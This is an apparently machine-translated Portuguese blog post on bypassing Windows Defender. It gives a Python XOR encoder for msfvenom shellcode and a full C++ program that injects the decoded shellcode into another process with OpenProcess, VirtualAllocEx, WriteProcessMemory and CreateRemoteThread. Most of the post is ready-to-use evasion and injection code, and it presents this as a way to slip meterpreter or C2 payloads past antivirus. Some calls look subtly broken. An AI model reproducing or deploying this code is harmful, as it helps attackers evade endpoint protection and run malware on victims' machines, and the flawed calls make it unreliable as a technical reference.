Como ignorar o Windows Defender

07 de julho de 2021 · 6 minutos de leitura

Ei, eu estou de volta com um novo post no blog. Neste post vou falar sobre como contornar oWindows Defender para executar seu shell reverso meterpreter, Desculpe, eu estava errado neste ponto Depois de mais pesquisas, descobri que a maioria de todos os AV/EDRs estão pegando assinatura em cada linha do código-fonte do meterpreter, então uma das coisas mais difíceis que você pode fazer é injetar um shellcode do meterpreter, mas definitivamente se você estiver usando um Cobalt Strike, ou se você estiver usando qualquer outro C2, quando quero dizer outro C2 quero dizer um incomum para ser menos detectado por si só.

RESUMO

Vou usar a técnica de postagem anterior AQUI , mas adicionarei uma/duas coisas, que é: xor meu código de shell e xor novamente enquanto escrevo o shellcode na memória.

SHELLCODE

Estou criado um shellcode através do msfvenom que é pop-up uma caixa de mensagem. Depois de criar o shellcode, eu o xor.
O script a seguir é um python para codificar meu shellcode.

raw_shellcode = "!Replace me with your shellcode"
enc_shellcode = []
print ("[+] Shellcode is encoding")
for opcode in raw_shellcode:
        enc_opcode = (ord(opcode) ^ 0x41)
        enc_shellcode.append(enc_opcode)


print ("========================Shellcode========================\n\n")
print ("".join(["\\x{0}".format(hex(abs(i)).replace("0x", "")) for i in enc_shellcode]))
print ("\n\n========================Shellcode========================")

Então agora eu vou gerar meu shellcode codificado

WINAPIs

Nosso shellcode está pronto agora, então vamos criar nosso binário de injeção de processo.
Mas primeiro vou descrever alguns winapis que vamos usar.

AbrirProcesso

HANDLE OpenProcess(
  DWORD dwDesiredAccess,
  BOOL  bInheritHandle,
  DWORD dwProcessId
);

Vou usar o OpenProcess para abrir um processo dando a ele o PID desse processo. porque a idéia principal da injeção de processo é criar um novo espaço de alocação para o shellcode em um processo local, em seguida, escrever o shellcode nessa alocação e executá-lo para que antes de criar uma nova alocação na memória você precise abrir esse processo primeiro faça sentido ?

NOTA:
Você precisa fechar a alça aberta através de CloseHandle()

VirtualAllocEx

LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

Vou usar VirtualAllocEx para alocar um novo espaço de memória para meu shellcode em outro processo.

Por que eu usei VirtualAllocEx não VirtualAlloc ?
Porque eu preciso alocar espaço de memória em outro espaço de endereço de processo, pegue-o!

Basicamente, você pode usar VirtualAlloc para seu processo atual, mas VirtualAllocEx para outro processo local.

WriteProcessMemory

BOOL WriteProcessMemory(
  HANDLE  hProcess,
  LPVOID  lpBaseAddress,
  LPCVOID lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesWritten
);

Vou usar WriteProcessMemory para escrever o shellcode na nova alocação que criei em outro processo através do VirtualAllocEx

VirtualProtectEx

BOOL VirtualProtectEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flNewProtect,
  PDWORD lpflOldProtect
);

Vou usar o VirtualProtectEx para alterar a permissão de proteção

CreateRemoteThread

HANDLE CreateRemoteThread(
  HANDLE                 hProcess,
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  SIZE_T                 dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID                 lpParameter,
  DWORD                  dwCreationFlags,
  LPDWORD                lpThreadId
);

Vou usar CreateRemoteThread para criar um thread que é executado no espaço de endereço virtual de outro processo e, opcionalmente, especificar atributos estendidos.

Qual é a diferença entre CreateThread e CreateRemoteThread ?

CreateThread só permite que você crie um thread para o processo atual.

CreateRemoteThread permite que você crie um thread para outro processo local.

PWN

Depois de discutir alguns WINAPIs, vamos criar nosso binário de injeção de processo que ignora o Windows Defender, vamos começar com a criação do nosso CPP.

Há apenas um passo que eu gostaria de discutir antes de escrever o código que é eu vou decodificar o opcode shellcode por opcode.

#include <stdio.h>
#include <Windows.h>

int main(int argc, char* argv[])
{
    unsigned char shellcode[] = "\x98\xaa\xda\x98\x35\x65\xb5\x70\x93\xf3\x36\x70\x88\x25\xca\x30\x71\xca\x37\x4d\xca\x37\x5d\xca\x7\x49\xca\x3f\x61\xca\x77\x79\xe\x59\x34\xb2\x18\x40\x90\xbe\xa0\x21\xca\x2d\x65\x65\xca\x4\x7d\xca\x15\x69\x39\x40\xab\xca\xb\x59\xca\x1b\x61\x40\xaa\xa2\x75\x8\xca\x75\xca\x40\xaf\x70\xbe\x70\x81\xbd\xed\xc5\x81\x35\x46\x80\x8e\x4c\x40\x86\xaa\xb5\x7a\x3d\x65\x69\x34\xa0\xca\x1b\x65\x40\xaa\x27\xca\x4d\xa\xca\x1b\x5d\x40\xaa\xca\x45\xca\x40\xa9\xc8\x5\x65\x5d\x20\x82\xf3\x49\x68\x95\xc8\xa4\xc8\x83\x29\xcf\xf\x4f\xad\x13\xa9\xde\xbe\xbe\xbe\xc8\x4\x45\xfa\x3f\x99\xa3\x32\xc6\x5d\x65\x13\xa9\xcf\xbe\xbe\xbe\xc8\x4\x49\x29\x2d\x2d\x61\x0\x29\x72\x73\x6f\x25\x29\x34\x32\x24\x33\x71\x9a\xc9\x1d\x65\x4b\xc8\xa7\x17\xbe\x14\x45\xc8\x83\x11\xfa\xe9\xe3\xc\xfd\xc6\x5d\x65\x13\xa9\x1e\xbe\xbe\xbe\x29\x2e\x39\x19\x61\x29\x20\x26\x24\x3\x29\xc\x24\x32\x32\x70\x9a\xc9\x1d\x65\x4b\xc8\xa2\x29\x31\x36\x2f\x19\x29\x13\x24\x35\x73\x70\x88\xc9\xd\x65\x46\xc8\xa0\x70\x93\x13\x12\x10\x13\xbe\x91\x70\x81\x11\xbe\x14\x49";

    HANDLE processHandle;
    HANDLE remoteThread;
    PVOID remoteBuffer;
    DWORD oldPerms;
    DWORD PID = 16772;
    printf("Injecting to PID: %i", PID);
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
    remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READ);

    int i;
    int n = 0;
    for (i = 0; i <= sizeof(shellcode); i++) {
        char dec_opcode = shellcode[i] ^ 0x41;
        if (WriteProcessMemory(processHandle, (char*)remoteBuffer + n, &dec_opcode, 1, NULL)) {
            n++;

        }
    }
    VirtualProtectEx(processHandle, (LPVOID)sizeof(processHandle), sizeof(shellcode), PAGE_READONLY, &oldPerms);
    remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
    CloseHandle(processHandle);

    return 0;
}

No loop for, decodifiquei o shellcode escrevendo o opcode na memória imediatamente.
Então vamos compilar e ver o que vai acontecer?

Sim, fomos ignorados pelo defensor do Windows.🔥🔥🔥